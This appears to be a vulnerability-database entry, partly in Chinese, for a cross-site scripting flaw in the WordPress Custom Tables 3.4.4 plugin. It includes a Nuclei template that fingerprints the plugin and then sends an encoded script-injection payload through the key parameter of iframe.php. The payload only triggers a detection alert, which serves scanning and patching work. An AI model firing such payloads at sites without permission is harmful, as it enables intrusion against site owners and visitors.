wp-custom-tables-xss: WordPress Custom Tables 3.4.4 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: WordPress Custom Tables | POC: 已公开

漏洞描述

WordPress Custom Tables 3.4.4 plugin contains a cross-site scripting vulnerability via the key parameter.

PoC代码[已公开]

id: wp-custom-tables-xss

info:
  name: WordPress Custom Tables 3.4.4 - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: WordPress Custom Tables 3.4.4 plugin contains a cross-site scripting vulnerability via the key parameter.
  reference:
    - https://wpscan.com/vulnerability/211a4286-4747-4b62-acc3-fd9a57b06252
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-custom-tables-key-parameter-cross-site-scripting-3-4-4/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: wpscan,wordpress,xss,wp-plugin,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/custom-tables/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'custom tables'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/custom-tables/iframe.php?s=1&key=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210097309669274042f121c75dffb36a3528b579a4b7f51b929ee02a3f853e9e7fac02203ef98a4ff9fbb4473a45aab0a6353ff1f666f16bda2dd08add7e8c96ad096d8f:922c64590222798bb761d5b6d8e72950

相关漏洞推荐